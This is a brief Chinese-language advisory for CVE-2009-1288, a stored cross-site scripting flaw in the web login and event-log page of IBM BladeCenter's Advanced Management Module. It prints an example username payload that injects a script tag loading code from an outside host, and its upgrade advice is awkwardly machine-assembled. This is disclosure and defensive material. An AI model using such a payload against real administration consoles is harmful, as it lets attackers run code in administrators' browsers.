CVE:CVE-2009-1288
CNNVD:CNNVD-200904-263
IBM BladeCenter是美国IBM公司的系列高性能刀片服务器。
BladeCenter所使用的高级管理模块(AMM)的Web管理接口没有正确地过滤用户所提交的输入和请求。如果用户使用恶意的凭据试图登录的话，AMM会在事件日志页面记录用户所提交的凭据，之后管理员查看事件日志时就会执行所注入的内容。例如，攻击者可以使用以下用户名登录导致注入：
JavaScript：>/script< >script src="//l7.fi"< >/script< >script<
solution:Upgrade ibm advanced_management_module to a higher version than 1.36h,and avoid the version 1.36h; Upgrade ibm bladecenter to a higher version than e,h,hc10,hs12,hs20,hs21,hs21_xm,ht,js12,js21,js22,ls20,ls21,ls41,qs21,qs22,s,t,and avoid the version e,h,hc10,hs12,hs20,hs21,hs21_xm,ht,js12,js21,js22,ls20,ls21,ls41,qs21,qs22,s,t